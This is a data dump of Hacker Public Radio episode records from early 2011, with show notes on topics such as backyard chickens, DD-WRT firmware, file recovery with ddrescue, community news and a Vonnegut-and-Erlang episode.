    2. \n
    3. Benefits of backyard chickening
    4. \n
    5. Challenges and misconceptions
    6. \n
    7. What you need (hardware): coop or tractor, feeders/waterers, materials
    8. \n
    9. What you need (wetware): chicks v. pullets v. hens.
    10. \n
    11. Breeds: egg production, meat production, dual purpose, ornamentals
    12. \n
    13. Don't panic: things that freak out newbie chickeners
    14. \n
    \n\n

    Links

    \n","hostid":140,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"chickens","version":0,"downloads":2649,"valid":1}, {"id":643,"date":"2011-01-19","title":"What's on my MP3 Player","duration":746,"summary":"What's on my MP3 Player","notes":"

    \nNot all of it it tech, there is some history and some business thrown in there. If I do not listen your show, it is either too smart for me, too awesome for normal listening, or I do not know about it. Please tell me.\n

    \n

    \nSome of this can be found on https://Hackermedia.org, let me know what the site is missing.\n

    \n

    \nThe big list:\n

    \n\n\n

    \nI did not mention a new show that I just started listening to that is pretty awesome and about photography, Tack Sharp (https://tacksharp.tv).

    \n\n

    OPML file: hpr0643.opml\n","hostid":1,"series":75,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,recommendation","version":0,"downloads":2401,"valid":1}, {"id":644,"date":"2011-01-20","title":"The Plop Boot Loader and UNetbootin- A Great Team","duration":731,"summary":"How to use plop & unetbootin to boot from a USB disk even if BIOS doesn't support it","notes":"

    \nHave you ever ran across older computers that did not have BIOS options to boot from USB? Are you tired of burning ISO discs all the time to install an operating system on machines like these? This episode could help you in reducing your collection of ISO discs down to one, and then using a single USB flash drive for all the rest of your needs. \n

    \n

    \nThe software can be downloaded from the following sites:\n

    \n

    \n

    \nDirect quotes about UNetbootin and the end music used in the show are referenced below:\nSourceforge, N.D. (Designer). (2011). Introduction to unetbootin. [Web]. Retrieved from \n

    \n

    ","hostid":142,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"utilities","version":0,"downloads":2680,"valid":1}, {"id":645,"date":"2011-01-21","title":"The Dinosaur's Dilemma","duration":1268,"summary":"Curbuntu interviews Baylee Juran, a public-school teacher","notes":"

    Intro: Most of us grow into our computer knowledge gradually, starting because of an innate curiosity, figuring things out through trial and error, desiring to accomplish certain tasks, or just possessing a genetic predisposition to geekiness.  But what would it be like as a non-geek to come from a non-technical background and be thrown into “the deep end of the pool,” challenging yourself to learn as much as you could from scratch, and to learn it all as quickly as you could?  In Curbuntu’s first interview with “Baylee Juran,” a career public-school teacher (and self-described technological “dinosaur”), Baylee shares what motivated her to lay aside a comfortable, if frustrating, teaching paradigm in the hope of evolving into a 21st-Century instructor.  (Note: No cockatiels were harmed in the recording of this interview.)

    \n

    Links: Books and websites mentioned—

    \n\n

    Technical notes: For those of you interested in contributing first-time episodes to HPR, this interview was recorded in Ubuntu 10.04.1 over Skype using Skype Call Recorder for Linux.  (The version for “Ubuntu / Kubuntu 8/9, i386“ seems to work fine, even on the 64-bit, 10.04 version of the operating system.)  Post-processing (e.g., editing, adding musical HPR intro & outro, normalization, exporting to MP3, etc.) was done with Audacity 1.3.12-beta.  Audacity-generated MP3 meta-tags were verified with EasyTAG 1.2.6.

    ","hostid":136,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"education,\"Second Life\",HTML,CSS","version":0,"downloads":2543,"valid":1}, {"id":646,"date":"2011-01-24","title":"Do we need a carrier plan for Android","duration":1603,"summary":"Using Android without a phone or data plan, just WiFi","notes":"

    \nMy argument is that Android OS is so power that you do not need a phone or data plan with it. A simple WiFi connection will provide everything that you could ask for.

    ","hostid":141,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"unlocked phone\",SIP,\"Session Initiation Protocol\",GPS","version":0,"downloads":2482,"valid":1}, {"id":647,"date":"2011-01-25","title":"How I Got Into Linux","duration":1628,"summary":"brother mouse relates his journey to Linux","notes":"

    Linux-specific content starts at the 15min mark. Until then is all the\ncomputer geekery that led up to my first linux exposure. Feel free\nto skip forward if you don't want to hear about old systems like the\nCommodores, TI, 5.25\" floppies, FidoNet BBS, etc.

    \n\n\n

    URLs referenced in this episode

    \n\n\n\n

    Clarifications and corrections:

    \n\n

    The Apple ][e setup I describe was almost exactly $2000.

    \n\n

    I still own the TI 99/4A and BASIC manual; I cranked it\nup a few years ago. The thing that sticks out is how terrible\nthe keyboard is -- it's almost unusable but seemed fine at the\ntime..\n

    \n","hostid":140,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux","version":0,"downloads":2475,"valid":1}, {"id":648,"date":"2011-01-26","title":"Wput: a command-line ftp-client","duration":244,"summary":"A brief overview of wput, a command-line FTP utility","notes":"

    \nWput is a command-line ftp-client that looks like wget but instead of downloading, uploads files or whole directories to remote ftp-servers.\n

    \n

    Main Features

    \n
      \n
    • wget-like interface
    • \n
    • TLS-encryption
    • \n
    • resuming
    • \n
    • speed-limit
    • \n
    • time-stamping (compares local and remote dates)
    • \n\n
    • proxy-support (socks5, http)
    • \n
    • i18n
    • \n
    • windows-compatibility
    • \n
    \n\n

    Wput is a free utility that is able to upload files to a\nftp-server.

    \n\n

    Wput is non−interactive and background-capable. It\ncan upload files or whole directories and is meant to be a\nrobust client even for unstable connections and will\ntherefore retry to upload a file, if the connection\nbroke.

    \n\n

    Wput supports resuming, so it automatically continues\nuploading from the point where the previous upload stopped,\nmeaning that you can kill Wput anytime and it will (if the\nremote ftp−server supports this, being most likely the\ncase) finish the partial uploaded file.

    \n\n

    Wput supports connections through proxies, allowing you\nto use it in an environment that can access the internet\nonly via a proxy or to provide anonymity by hiding your\nip−address to the server. For SOCKSv5−proxies\nWput supports also listening mode, allowing you to use\nport-mode ftp through a proxy (useful if the remote ftp is\nbehind a firewall or a gateway).

    \n\n

    Wput supports timestamping, so it will (in the ideal case\nand if timestamping is enabled) only upload files, that are\nnewer than the remote-file.

    \n\n

    The upload-rate of Wput can be restricted, so that Wput\nwon’t eat all available bandwidth.

    \n\n\n
  • https://wput.sourceforge.net/
  • \n
  • https://wput.sourceforge.net/wput.1.html
  • \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"ftp,shell,utilities","version":0,"downloads":2341,"valid":1}, {"id":649,"date":"2011-01-27","title":"Doing your own auto repairs","duration":1613,"summary":"Methods for saving money while maintaining your vehicle","notes":"\n

    \nQuvmoh and Phantom Hawk discuss doing your own auto repairs, getting help\non forums and the infamous $50 paint job\n

    \n
      \n
    1. https://www.tirerack.com/index_w.jsp
    2. \n
    3. https://www.rickwrench.com/index79master.htm?https://www.rickwrench.com/50dollarpaint.html
    4. \n
    5. https://meguiarsonline.com/forums/showthread.php?t=40341
    6. \n
","hostid":110,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"auto,\"auto repair\",\"auto maintenance\"","version":0,"downloads":2384,"valid":1}, {"id":650,"date":"2011-01-28","title":"Dumpster Diving","duration":1096,"summary":"Tips, tricks and precautions for salvaging hardware from dumpsters and dumps","notes":"

Dumpster Diving

\n

Cheapskate Computing

\n

Broam talks about how to obtain, clean, and rehabilitate computing equipment that others have thrown away, and shares a few stories.

","hostid":143,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hardware,recycling,repair","version":0,"downloads":2920,"valid":1}, {"id":651,"date":"2011-01-31","title":"HPR Community News 0x03","duration":1860,"summary":"HPR Community News 0x03","notes":"\n\n

New hosts

\nWelcome to\nDismal Science,\nN50\nand\nBroam.\n\n

Show Review

\n
  • 632 Droops:: Notebook Method for ADHD
  • \n\n
  • 633 Skirlet:: The Language Frontier Episode 1
  • \n\n
  • 634 klaatu:: Urban Camping ep 5 - finding food
  • \n\n
  • 635 Dismal Science:: Cloudy Predictions
  • \n\n
  • 636 pokey:: Kid3-qt
  • \n\n
  • 637 brother mouse:: Every Day Carry
  • \n\n
  • 638 klaatu:: Urban Camping ep 6
  • \n\n
  • 639 droops:: Podcasts are not Radio
  • \n\n
  • 640 PipeManMusic:: About microphones
  • \n\n
  • 641 klaatu:: Urban Camping ep 7
  • \n\n
  • 642 brother mouse:: Hacking Your Suburban Backyard with Chickens
  • \n\n
  • 643 droops:: Whats on my MP3 Player
  • \n\n
  • 644 N50:: The Plop Boot Loader and UNetbootin- A Great Team
  • \n\n
  • 645 Curbuntu and Baylee Juran:: The Dinosaur's Dilemma
  • \n\n
  • 646 Dismal Science:: Do you need a carrier plan with Android
  • \n\n
  • 647 brother mouse :: How I Got Into Linux
  • \n\n
  • 648 Ken Fallon:: Wput: a command-line ftp-client
  • \n\n
  • 649 Quvmoh and Phantom Hawk:: Doing your own auto repairs
  • \n\n
  • 650 Broam:: Dumpster Diving
  • \n\n\n

    Podcasts by Phone

    \n

    \nEvery listener is strongly encouraged to send us one contribution per year.
    \nIn episode 636 pokey told us that his Mother also listens to the show from time to time
    \nTo make it easy for everyone and anyone to contribute we now have call in lines
    \n

  • US: +1-206-312-5749
  • \n
  • UK: +44-203-432-5879
  • \n
    \nPlease include your name and email address.
    \nDON'T FORGET TO ADD THE # SIGN AT THE END
    \nThanks to Russ Woodman - K5TUX and Arron 'Finux' Finnon for making this possible.\n

    \n\n

    Automation and RSS feed

    \n
      \n
    • RSS Feed: Delayed as it requires DB changes
    • \n\n
    • Website: Site update that will allow you to upload a show on the website.
    • \n
    \n\n

    Syndicates Shows

    \n\n

    \nI'm running into some difficulties with how best to address syndicated shows and I'd appreciate your feedback.\n

    \n

    \nThe background is that I'm trying to specify scheduling rules (https://hackerpublicradio.org/calendar.php) trying to been fair to everyone but also with a view to automating the task. I've taken the view that shows produced for HPR will get priority in the schedule before syndicated shows. This brings up the question of what is a syndicated shows.\n

    \n

    \nIf a show is posted to a RSS feed before been posted to HPR then it would be considered to be a syndicated show. However we have had resubmission of a series that was on a podcast that faded so probably no one heard them. Are theses shows now syndicated or do I schedule them as HPR shows ?\n

    \n

    \nWe have also had submissions from a host that posts to the HPR FTP server and their own feed at the same time. Because of the delay in HPR scheduling they come out later than their own RSS feed. So are these also now syndicated ?\n

    \n

    \nAfter hearing 635 Dismal Science:: Cloudy Predictions I was reminded that the speech Freedom In the Cloud: Software Freedom, Privacy, and Security for Web 2.0 and Cloud Computing by A Speech given by Eben Moglen at a meeting of the Internet Society's New York branch on Feb 5, 2010 would be ideal for HPR. Then Fifty OneFifty emailed to say \"I noticed there hadn't been any recordings from LUG meetings in a while. I thought you might want to ask for submissions where meetings or talks (from various fests) are already recorded.\" With the scheduling rules as they are at the moment, the syndicated don't ever get played.\n

    \n
      \n
    1. Time critical
    2. \n
    3. Scheduled Slots
    4. \n
    5. New Hosts
    6. \n
    7. HPR Content on a First in First Out basis.
    8. \n
    9. Syndicated shows on a First in First Out basis.
    10. \n
    \n

    \nOn the other side I've had comments that the \"Flood Gates\" had been opened on the HPR feed.\n

    \n

    \nSo thinking about it I was thinking of reserving Tuesday and Thursday for syndicated shows, LUG talks, Speeches and the like.\n\nFeedback to the mailing list https://hackerpublicradio.org/maillist\n

    \n\n

    Design Competition

    \n

    I would like to have some mini-business cards made. Go to https://kenfallon.com/?p=827 for more information.

    \n\n

    HPR Promotion

    \n
      \n
    1. Going Linux podcast re-purposed the \"Tom Merritt\" episode for their Christmas-break episode 124.
    2. \n
    3. Finux interviewed me on the first episode of his new podcasts Finux's Tech Weekly
    4. \n
    5. Dan and the lads at TLLTs have been pimping HPR all month.
    6. \n
    7. Linux Outlaws gave us a big plug on episode 187
    8. \n
    9. Jonathan Nadeau over at Frost Cast for playing our promo
    10. \n
    11. Pokey has ordered the HPR stickers and thanks to Code Cruncher, Maia came to our rescue again. She uploaded all those shows to archive.org last month
    12. \n
    \n\n

    Mirrors

    \n

    \nArchive.org https://www.archive.org/details/hackerpublicradio
    \nJason Scott's textfiles.com https://audio.textfiles.com/shows/hpr/ \n

    \n\n

    Other News

    \n
      \n
    • Thanks Dave P. for point out that Caro.net link not working
    • \n
    • sp0rus has signed up for a \"Nameless Infosec Podcast on the first Tuesday of the month.
    • \n
    • Stank tells us that there is already an icecast server set up and running so we can stream HPR shows
    • \n
    • Ilan Rabinovitch links to banners for scale 9 which is on between 2011/02/25 and 2011/02/27
    • \n
    • If you have promotion banners please send them along and we'll add them to the site.
    • \n\n
    • I still haven't found a way to automate the upload to Archive.org - anyone want to investigate that ?
    • \n
    • We have a facebook group at hackerpublicradio.org/facebook
    • \n\n
    • We have a Linked-In group hackerpublicradio.org/linkedin
    • \n
    • We have a iTunes page at hackerpublicradio.org/itunes
    • \n
    \n\n

    A word from our spammers

    \n

    Only the last few are holding out now that we approve all comments but some still continue to visit.

    \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2536,"valid":1}, {"id":652,"date":"2011-02-01","title":"Nameless Infosec Podcast Ep 1","duration":2881,"summary":"A look at what is happening in the world of Information Security","notes":"\n","hostid":144,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Nameless Infosec Podcast, security, information security","version":0,"downloads":2381,"valid":1}, {"id":653,"date":"2011-02-02","title":"Intro to Black Box Testing","duration":2590,"summary":"A brief overview of software testing methodologies","notes":"

    \nHeisenbug and Cloud4 give a basic introduction to Black Box Testing. This is a first lesson of how to find problems or vulnerabilities in software without access to the source code, and explanation as to why companies and individuals should black box test products. \n

    \n

    \nPlease email comments to littlecodemonkey@gmail.com.\n

    ","hostid":145,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"testing,development","version":0,"downloads":2631,"valid":1}, {"id":654,"date":"2011-02-03","title":"Offline Filesharing","duration":397,"summary":"Offline peer-to-peer filesharing with dead drops and off-the-grid hubs","notes":"

    \nSorry about the coughing and stuttering, I'm fighting off a cold and am not a particularly strong speaker.\nNY Dead Drops \nhttps://blogs.discovermagazine.com/discoblog/2010/11/02/usb-ports-on-new-york-city%E2%80%99s-streets-plug-in-if-you-dare/\nPirateBox\nhttps://wiki.daviddarts.com/PirateBox\nDroopy\nhttps://stackp.online.fr/?p=28\n

    ","hostid":146,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"file transfer\",\"peer to peer\"","version":0,"downloads":2376,"valid":1}, {"id":655,"date":"2011-02-04","title":"Read 'n Code - 2 Camus's The Plague and Reddit.com","duration":1534,"summary":"An overview & analysis of \"The Plague\", and how it relates to Reddit","notes":"

    In this podcast I review the comments I received for the first one as well as bring the good news of the website being complete.\n

    \nAlso, I go over a few quotes from The Plague by Albert Camus and compare it to the popular hacker news website, Reddit.com. More time is spent on the Read part than the Code part, but maybe that will even out in the future. It's easier to cover book quotes than code snippets from Erlang on a podcast.

    ","hostid":132,"series":44,"explicit":1,"license":"CC-BY-NC-SA","tags":"books,literature","version":0,"downloads":2474,"valid":1}, {"id":656,"date":"2011-02-07","title":"My first steps in recovering pictures","duration":515,"summary":"A overview of file recovery tools, especially those used to recover pictures","notes":"

    \nThis is my first podcast ever and I show you how easy it is to recover pictures from a dying disk. It's not high-tech as I found out (using the commands anyway).\nLinks to the used tools and PartedMagic:\n

    \n\n
      \n
    • Photorec (recover pictures and other files on havily dammaged filesystem)\n
    \n\n
    \n
    \n https://www.cgsecurity.org/wiki/PhotoRec\n
    \n
    \n\n
      \n
    • Ddrescue {fancy imaging-tool to get data from dammaged media}\n
    \n\n
    \n
    \n https://www.gnu.org/software/ddrescue/ddrescue.html\n
    \n
    \n\n
      \n
    • PartedMagic\n
    \n\n
    \n
    \n https://partedmagic.com/doku.php?id=start\n
    \n
    \n

    \nThe switches I used in ddrescue as given in their documentation:\n

    \n\n
      \n
    • ddrescue -f -n /dev/hdb1 /dev/hdc1 logfile\n
    • ddrescue -d -f -r3 /dev/hdb1 /dev/hdc1 logfile\n

      \nPlease send feedback, advise, whatever to: sven@@noblanks.org\n
    ","hostid":147,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"file recovery\"","version":0,"downloads":2473,"valid":1}, {"id":657,"date":"2011-02-08","title":"HPR Video Proposal","duration":422,"summary":"Droops submits his proposal for a video companion that would exist alongside HPR","notes":"

    Myself and others would like to release video shows to acompany regular HPR shows. I am propsing this to the HPR audience and am looking for comments.

    \n","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hpr,video","version":0,"downloads":2309,"valid":1}, {"id":658,"date":"2011-02-09","title":"Music Management Consoles","duration":1906,"summary":"Courtney and Mark from podcast Degrees of Freedom discuss *nix open source music management software","notes":"

    \nDegrees of Freedom is a podcast about Free-Libre Open Source Software brought to you by Courtney Schauer and me. We're still exploring goals and dreams for the show (in other words, the degrees of freedom are high) but we do know that the show will be bi-monthly (in the fortnight way, not the every two months way) and will start with reviews of different applications for GNU/Linux.\n

    \n
      \n
    • Rhythmbox\n
    • Songbird\n
    • Gnome Music Project\n
    • Banshee\n
    • Amarok\n
    • Miro\n
    • Guayadeque\n
    • Muine\n
    ","hostid":148,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"music,player,Rhythmbox,Songbird,\"Gnome Music Project\",Banshee,Amarok,Miro,Guayadeque,Muine","version":0,"downloads":2622,"valid":1}, {"id":659,"date":"2011-02-10","title":"10 Buck Review - Serenity","duration":3808,"summary":"10 Buck Review covers Serenity, a follow-up to the television series, Firefly","notes":"

    Step into the verse where the signal can’t be stopped.\n
    \nhttps://tenbuckreview.net/2009/episode-5-serenity/

    ","hostid":24,"series":109,"explicit":1,"license":"CC-BY-NC-SA","tags":"10 Buck Review","version":0,"downloads":2313,"valid":1}, {"id":660,"date":"2011-02-11","title":"An argument against emulators when retrocomputing","duration":1130,"summary":"An argument against emulators, explaining why using retro hardware is the superior option.","notes":"

    \nI was moved by Ken Fallon's cry for submissions, so here's my first podcast: An argument against using emulators when retrocomputing. In short, there are some semi-intangible things you can't get from an emulator that you can only get from the real hardware, so use real hardware when you can. Examples contained within.\n

    \n

    \nMentioned or hinted at on the show:\n

    \n

    \nAndrew Jenner's proposal to rewrite the CRTC emulation for MESS: https://www.reenigne.org/blog/crtc-emulation-for-mess/\n

    \n

    \nIan Bogost's work on adding more realistic display techniques to Stella, a 2600 emulator: https://www.bogost.com/games/a_television_simulator.shtml\n

    \n

    \nSend feedback, criticism, etc. to: trixter@oldskool.org\n

    ","hostid":149,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"emulation,retro,\"retro gaming\",\"vintage hardware\"","version":0,"downloads":2914,"valid":1}, {"id":661,"date":"2011-02-14","title":"War walking with smart phone","duration":214,"summary":"Finding open wireless networks in a neighbourhood using a smartphone","notes":"

    \nWar walking with smart phone\nquvmoh@gmail.com\n

    \n\n","hostid":110,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Wardriving,Warwalking,Warchalking,GPS","version":0,"downloads":2573,"valid":1}, {"id":662,"date":"2011-02-15","title":"DD-WRT","duration":1287,"summary":"Xoke records an HPR episode while installing DD-WRT","notes":"

    Apologies for the bad quality. I really was installing DD-WRT whilst recording, for the first time! I tried to tidy it up but it’s still fairly rough!

    \n
      \n
    1. Go the the DD-WRT website.
    2. \n
    3. Go to Router Database.
    4. \n
    5. Search for your Router (or one you might want to buy), in my case the Linksys WRT54GL from NewEgg (note: NOT a sponsored link and other shops are available).
    6. \n
    7. Read this stuff: https://www.dd-wrt.com/phpBB2/viewtopic.php?t=51486
    8. \n
    9. Notes: Initial flashing ‘Mini Generic’ via web interface. Give it at least 2 mins after reboot!
    10. \n
    11. Installation guide: https://www.dd-wrt.com/wiki/index.php/Installation
    12. \n
    13. Lifehacker article: https://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router
    14. \n
    15. Short version: \n
        \n
      1. Plug in the router
      2. \n
      3. Install the mini-generic DD-WRT firmware
      4. \n
      5. Reboot the router if it doesn’t restart itself
      6. \n
      7. Install the full DD-WRT firmware. It should restart
      8. \n
      9. Enjoy the shininess of the new firmware!
      10. \n
      11. Reset the password and username!
      12. \n
      \n
    16. \n
    \n

    Thoughts.

    \n
  • The router restarts itself when you flash the firmware, which is nice.
  • \n
  • If you change the IP of the router you may have to disconnect and reconnect the network through linux to force it to update the new IP address. Don’t forget like I did!
    \n
  • \n
  • To set up a Wii via Wi-Fi you need to set the router up as ‘Ad-Hoc’ else it doesn’t seem to show in the Wii menu.
  • \n
  • I had problems with my previous router being 192.168.1.1 and the DSL being 192.168.0.1 making me hard reset and set the details back up. Might be unrelated to this, however changing the IP to 192.168.10.1 for the router and keeping 192.168.0.1 for the DSL resolved this problem.
  • \n
  • It was pretty damn simple! At least a lot simple and faster then installing windows!
  • \n
  • Total time isn’t too long, but I’d recommend having a second router on hand (if you can) to keep internet access in case things go hairy!
    \n
  • ","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"WiFi,Wireless,DDWRT,Hardware","version":0,"downloads":2535,"valid":1}, {"id":663,"date":"2011-02-16","title":"What is on your mp3 player","duration":1294,"summary":"Podcast listening, and some suggestions of what to listen to","notes":"

    errata and clarifications

    \n

    \nI use hpodder to catch podcasts. Great podcast client for hackers IMO; Easy to script and make it do what you want. I run it from a cronjob nightly.\n

    \n

    links

    \n\n","hostid":140,"series":75,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Sansa E200\",Rockbox,\"iPod Mini\",hpodder,Android,Cyanogenmod","version":0,"downloads":2815,"valid":1}, {"id":664,"date":"2011-02-17","title":"A Little Bit of Python: Episode 13","duration":2452,"summary":"News about Python - the SEC mandates python for filing, community funding, and more","notes":"

    \nA Little Bit of Python is an occasional podcast on all things Python. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are: Michael Foord (author of IronPython in Action and maintainer of unittest), Andrew Kuchling (creator of PyCrypto and one of the python.org webmasters), Steve Holden (PSF chairman), Dr. Brett Cannon (author of importlib amongst other things) and Jesse Noller (maintainer of multiprocessing).\n

    \n

    \nSeveral topics are covered in this 40-minute episode:\n

    \n\n
      \n
    • Python 2.7 beta 1 released.\n
    • PEP 3147: New bytecode directory layout.\n
    • Google's Summer of Code beginning.\n
    • SEC proposes mandating Python's use in financial filings.\n
    • PyCon interview: Dr Tim Couper\n
    • How to Fund Python Development\n
    • Python for Beginners: Getting started on Windows.\n

      \n
    \n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"community,python,news,\"syndicated thursday\",syndication","version":0,"downloads":2896,"valid":1}, {"id":665,"date":"2011-02-18","title":"Hacking the Craps Table","duration":2441,"summary":"A mathematical technique for playing craps that aims for financial gain and social ruin","notes":"

    How to play craps the proper way, using the odds to your advantage even if it's against conventional wisdom.

    \n

    \nhttps://upload.wikimedia.org/wikipedia/commons/a/a4/Craps_table_layout.svg\n\n

    ","hostid":127,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"math,games,gambling","version":0,"downloads":9702,"valid":1}, {"id":666,"date":"2011-02-21","title":"Salvaging old Coleman lanterns and stoves","duration":2063,"summary":"Purchasing, utilizing, and refurbishing pre-owned Coleman lanterns and stoves","notes":"

    \nThis show discusses getting neglected lanterns/stoves back into\nrunning condition. It is not about restoring them to pretty,\nlike-new, \"shelf queen\" condition.\n

    \n

    errata and clarifications, roughly timecoded

    \n

    \n@18mins - The little cup is to hold alcohol, which is burned to \"prime\"\nthe system. The burning alcohol preheats the generator so the higher-\nflashpoint kero can ignite without drama.\n

    \n

    \ns/sided lantern/sided globe/g\n

    \n

    \n@19mins - s/possible/practical/\n

    \n

    \n@20mins - varnish might be removed by sitting in fresh fuel, or more\nlikely by sitting in 90% isopropyl or methanol. I filter the alcohol\nafter use and use it to prime kero gear, as above.\n

    \n

    \n@27mins - the generator can get internally gummed up, particularly when\nrunning unleaded in a unit not designed for that.\n

    \n

    \n@29mins - black _body_ luminosity\n

    \n

    \n@30mins - might want to plug the air tube on a stored suitcase stove\nto block the progress of the aforementioned spiders.\n

    \n

    \ns/impermeable/impervious/\n

    \n

    \n@33mins this isn't that unusual; stove/lantern fettlers skew older, \ndemographically speaking\n

    \n

    links

    \n

    \nAmerican Coleman forum:\nhttps://oldtownyucca.websitetoolbox.com/\n

    \n

    \nEuropean forum:\nhttps://www.spiritburner.com/fusion/index.php\n

    \n

    \nFear the \"turd\": \nhttps://goo.gl/Q9seh\n

    \n

    \nTroubleshooting, [dis-]assembly, etc:\n

    \n

    \nPetromax lantern cutaway: \nhttps://goo.gl/yMEZG\n

    \n

    \nMy page about picking a stove, including fuel selection:\nhttps://www.mousetrap.net/mouse/prep/whatstove.html\n

    \n

    \nLast completed: 1944 242c single mantle round globe\nhttps://goo.gl/zaXkT\n

    \n

    \nCurrent project: 1990 222b single mantle hiking lantern\nhttps://goo.gl/qddDn\n

    \n

    \nSportster stove stored in a coffee can:\nhttps://goo.gl/u2aIo\n

    \n

    \nParts for older gear:\nhttps://www.oldcolemanparts.com/home.php\n

    ","hostid":140,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"camping,restoration","version":0,"downloads":2569,"valid":1}, {"id":667,"date":"2011-02-22","title":"Your Local Library","duration":428,"summary":"An overview of some resources provided by American libraries","notes":"

    This is a short podcast about the resources available at local libraries.\nComments or criticisms can be emailed to johninsc@myway.com.

    ","hostid":135,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"libraries","version":0,"downloads":2364,"valid":1}, {"id":668,"date":"2011-02-23","title":"Read 'n Code - 3 Kurt Vonnegut's Slaughterhouse-five and Erlang","duration":1244,"summary":"Kurt Vonnegut's novel Slaughterhouse-five considered with the Erlang language","notes":"

    \nIn this podcast I discuss Kurt Vonnegut's novel Slaughterhouse-five. I then talk a little about Erlang, the computer language. As always, I end with an attempt to reconcile and compare these apparently dissimilar concepts.\n

    \n

    \n

    Raw show notes:

    \n

    \n

    \nWe're in iTunes! Using Ken Fallon's RSS podcast from HPR, I managed to create the RSS feed required for a podcast to be in iTunes.\n

    \n

    \n

    Kurt Vonnegut

    \nborn after WWI, died in 2007. Served in WW2\nwrote Slaughterhouse-five the year Neil Armstrong landed on the moon.\npostmodernism (started after WW2), and I guess continues today, since Thomas Pynchon is still alive.\n

    \n

    \nIn short, postmodernist literature takes everything with a large grain of salt, and the stories are often a commentary on the story itself. (like a recursive function) (e.g.: \"That was I. That was me. That was the author of this book.\")\n

    \n

    \n

    Slaughterhouse-five

    \n

    \n\n
      \n
    • About an emaciated, fatalistic, and ill-trained soldier named Billy Pilgrim in WW2, who is once compared to a broken kite.\n
    • The narrative is nonlinear, but it follows some of Billy's experiences in Germany, and then getting caught and shipped to Dresden for community work, where they stay in an old meat-packing house called \"Schlachtof-funf\"\n
    • When Dresden is bombed, most are killed, but the American soldiers survived and experienced the total destruction of the city\n
    • Billy then returns to the US, where he becomes and optometrist, and marries an undesirable obese woman, whose father has a lot of money, and they have children.\n
    • He suffers head injuries in a plane crash (of which he is the only survivor) and starts thinking he has made a connection with the alien people of Tralfamadore, with whom he has traveled in time and has seen all that will happen in the future.\n
    • He starts giving radio talks and speeches about the nature of time and flying saucers, and he dies shot at one of these events in Chicago.\n
    \n

    Quotes:

    \n

    \nAll this happened, more or less. The war parts, anyway, are pretty much true. One guy I knew really was shot in Dresden for taking a teapot that wasn't his.\n

    \nAs an Earthling, I had to believe whatever clocks said -- and calendars.\n

    \nAll this responsibility at such an early age made her a bitchy flibbertigibbet.\n

    \nThe gun made a ripping sound like the opening of the zipper on the fly of God Almighty\n

    \n\"There's more to life than what you read in books,\" said Weary.\n

    \nLike so many Americans, she was trying to construct a life that made sense from things she found in gift shops.\n

    \nOne scout hung his head, let spit fall from his lips. The other did the same. They studied the intinitesimal effects of spit on snow and history.\n

    \nNow they were dying in the snow, feeling nothing, turning the snow to the color of raspberry sorbet.\n

    \nRosewater told a psychiatrist: \"I think you guys are going to have to come up with a lot of wonderful new lies, or people just aren't going to want to go on living.\"\n

    \nSo they were trying to re-invent themselves and their universe. Science fiction was a big help.\n

    \n\"That's the attractive thing about war,\" said Rosewater. \"Absolutely everybody gets a little something.\"\n

    \n\"I'm afraid I don't read as much as I ought to.\" said Maggie.
    \n\"We're all afraid of something,\" Trout replied. \"I'm afraid of cancer and rats and Doverman pinschers\"\n

    \nAnd then Russians came on motorcycles, and they arrested everybody but the horses.\n

    \nSo it goes. (appears 106 times in the novel)\n

    \nThere used to be a dog named Spot, but he died. So it goes.
    \nThe champagne was dead. So it goes.
    \nThe water was dead. So it goes. Air was trying to get out of that dead water. Bubbles were clinging to the walls of the glass, too weak to climb out.\n

    \n\n

    Erlang:

    \n

    based on a one day training session with Kevin Smith @kevsmith\ndesigned by Ericsson in 1986 to support big fault-tolerant applications, released open source in 1998. Stands for Ericsson Language.\n

    \n\n

    multicore

    \n
      \n
    • main feature: great support for concurrency (doing multiple things at the same time)\n
        \n
      • Though I'm not an expert, languages such as Java and Python struggle to efficiently use machines that have tens or hundreds of cores.\n
      • Erlang has these lightweight processes with minimal overhead, allowing the rapid creation of hundreds of thousands of these processes. These processes have no shared state. They know nothing about each other. They communicate through asynchronous message passing. each process has a mailbox, which it checks to see if it has the message it wants, and then deletes it after it's consumed. Very much how we would ideally check our own email inboxes.\n
      \n
    • to start one of these you just call spawn(Fun), which returns a pid (process ID)\n
    \n\n

    functional

    \n
      \n
    • Immutable variables\n
        \n
      • assignment only\n
      \n
    • functions are first class citizens, that can be used like any other data, like an integer.\n
    • this basically replaces the need for objects in OO languages\n

      \n
    \n

    proven

    \n
      \n
    • CouchDB, Membase, Riak, RabbitMQ\n
    \n

    \n

    Similarities:

    \n

    \n

    \nAll this happened, more or less.\nspawn(Module, Function, Args) -> pid\n

    \n

    \nPack a lot of meaning in a few lines: He said that everything there was to know about life was in The Brothers Karamazov, by Feodor Dostoevsky. \"But that isn't enough anymore.\"\n

    \n
    \n1> A = [1,2,3,4,5].\n\n[1,2,3,4,5]\n\n2> [X || X <- A, X rem 2 == 0].\n\n[2, 4]\n
    \n

